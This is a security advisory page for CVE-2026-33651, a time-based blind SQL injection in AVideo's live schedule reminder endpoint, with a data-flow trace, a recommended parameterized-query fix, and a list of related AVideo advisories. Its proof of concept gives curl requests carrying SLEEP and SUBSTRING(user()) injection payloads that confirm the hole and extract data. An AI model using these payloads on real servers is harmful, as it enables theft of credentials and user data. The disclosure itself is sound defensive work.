CVE-2026-33651: AVideo has a Blind SQL Injection in Live Schedule Reminder via Unsanitized live_schedule_id in Scheduler_commands::getAllActiveOrToRepeat()
Summary The remindMe.json.php endpoint passes $REQUEST['livescheduleid'] through multiple functions without sanitization until it reaches Schedulercommands::getAllActiveOrToRepeat(), which directly concatenates it into a SQL LIKE clause.
Published Mar 25, 2026
Affected packages
wwbn/avideo
- Ecosystem
- Composer (PHP)
- Affected
- <= 26.0
- Fixed in
- No patched version yet
- Check
composer show wwbn/avideo
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The remindMe.json.php endpoint passes $_REQUEST['live_schedule_id'] through multiple functions without sanitization until it reaches Scheduler_commands::getAllActiveOrToRepeat(), which directly concatenates it into a SQL LIKE clause. Although intermediate functions (new Live_schedule(), getUsers_idOrCompany()) apply intval() internally, they do so on local copies within ObjectYPT::getFromDb(), leaving the original tainted variable unchanged. Any authenticated user can perform time-based blind SQL injection to extract arbitrary database contents.
Details
The vulnerability involves a 6-step data flow from user input to an unsanitized SQL sink:
Step 1 — User input (no sanitization): plugin/Live/remindMe.json.php:15:
$reminder = Live::setLiveScheduleReminder($_REQUEST['live_schedule_id'], ...);Step 2 — Auth check passes for any user: plugin/Live/Live.php:4126:
if (!User::isLogged()) {
$obj->msg = __('Must be logged');
return $obj;
}Step 3 — intval() applied only internally, original variable unchanged: plugin/Live/Live.php:4141-4143:
$ls = new Live_schedule($live_schedule_id); // intval() inside getFromDb() only
$users_id = Live_schedule::getUsers_idOrCompany($live_schedule_id); // sameobjects/Object.php:84 (inside getFromDb()):
$id = intval($id); // sanitizes the LOCAL parameter, not the caller's variableWith input like 1" AND SLEEP(5) --, intval() extracts 1, loads schedule ID 1 successfully. The caller's $live_schedule_id remains 1" AND SLEEP(5) --.
Step 4 — Tainted value flows to type string construction: plugin/Live/Live.php:4152 → Live.php:4193-4194:
$reminders = self::getLiveScheduleReminders($live_schedule_id);
// getLiveScheduleReminders calls:
$type = self::getLiveScheduleReminderBaseNameType($live_schedule_id);
// which builds: "LiveScheduleReminder_{$to_users_id}_{$live_schedule_id}"
return Scheduler_commands::getAllActiveOrToRepeat($type);Step 5 — SQL injection sink: plugin/Scheduler/Objects/Scheduler_commands.php:340-347:
$sql = "SELECT * FROM " . static::getTableName() . " WHERE (status='a' OR status='r') ";
if(!empty($type)){
$sql .= ' AND `type` LIKE "'.$type.'%" '; // LINE 343: direct concatenation
}
$res = sqlDAL::readSql($sql); // LINE 347: no parameterizationPoC
Prerequisites: Any authenticated user session, at least one live_schedule record (ID=1).
Step 1 — Baseline request (should return quickly):
curl -s -o /dev/null -w "%{time_total}" \
-b "PHPSESSID=<valid_session>" \
"http://target/plugin/Live/remindMe.json.php?live_schedule_id=1&minutesEarlier=10"Expected: response in ~0.1-0.5s
Step 2 — Time-based injection (5 second delay):
curl -s -o /dev/null -w "%{time_total}" \
-b "PHPSESSID=<valid_session>" \
--get --data-urlencode 'live_schedule_id=1" AND SLEEP(5) -- ' \
--data-urlencode 'minutesEarlier=10' \
"http://target/plugin/Live/remindMe.json.php"Expected: response delayed by ~5 seconds, confirming injection.
The resulting SQL becomes:
SELECT * FROM scheduler_commands
WHERE (status='a' OR status='r')
AND `type` LIKE "LiveScheduleReminder_123_1" AND SLEEP(5) -- %"Step 3 — Data extraction (example: first character of database user):
curl -s -o /dev/null -w "%{time_total}" \
-b "PHPSESSID=<valid_session>" \
--get --data-urlencode 'live_schedule_id=1" AND IF(SUBSTRING(user(),1,1)="r",SLEEP(5),0) -- ' \
--data-urlencode 'minutesEarlier=10' \
"http://target/plugin/Live/remindMe.json.php"If the response is delayed 5 seconds, the first character of user() is r.
Impact
- Full database read: An attacker with any authenticated session can extract all database contents character-by-character using time-based blind techniques, including admin credentials, user PII (emails, passwords), API keys, and session tokens.
- Data modification: Depending on MySQL permissions, stacked queries or subquery-based writes could allow INSERT/UPDATE/DELETE operations.
- Account takeover: Extracted admin password hashes or session tokens enable full platform compromise.
- Low barrier: Only requires a basic authenticated account — no admin privileges needed.
Recommended Fix
Option 1 — Parameterize the query in `Scheduler_commands::getAllActiveOrToRepeat()`:
plugin/Scheduler/Objects/Scheduler_commands.php:335-347:
public static function getAllActiveOrToRepeat($type='') {
global $global;
if (!static::isTableInstalled()) {
return false;
}
$sql = "SELECT * FROM " . static::getTableName() . " WHERE (status=? OR status=?) ";
$formats = "ss";
$values = [self::$statusActive, self::$statusRepeat];
if(!empty($type)){
$sql .= ' AND `type` LIKE ? ';
$formats .= "s";
$values[] = $type . "%";
}
$sql .= self::getSqlFromPost();
$res = sqlDAL::readSql($sql, $formats, $values);
$fullData = sqlDAL::fetchAllAssoc($res);
sqlDAL::close($res);
$rows = array();
if ($res != false) {
foreach ($fullData as $row) {
$rows[] = $row;
}
}
return $rows;
}Option 2 — Additionally sanitize at the entry point:
plugin/Live/remindMe.json.php:15 (defense in depth):
$_REQUEST['live_schedule_id'] = intval($_REQUEST['live_schedule_id']);
$reminder = Live::setLiveScheduleReminder($_REQUEST['live_schedule_id'], ...);Both fixes should be applied for defense in depth.
Credited to offset.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesCVE-2026-55173
AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
high8.1No fixJun 23, 2026GHSA-7cqp-7cfv-6c3q
AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel
medium5.4No fixJun 23, 2026CVE-2026-33684
AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions
medium5.3Jun 22, 2026CVE-2026-33692
AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration
high7.5Jun 22, 2026CVE-2026-33731
AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data
medium6.5Jun 22, 2026CVE-2026-49279
WWBN AVideo: Stored XSS via autoEvalCodeOnHTML Bypass in MessageSQLite WebSocket Handler (CVE-2026-43874 Bypass)
high7.7No fixJun 4, 2026
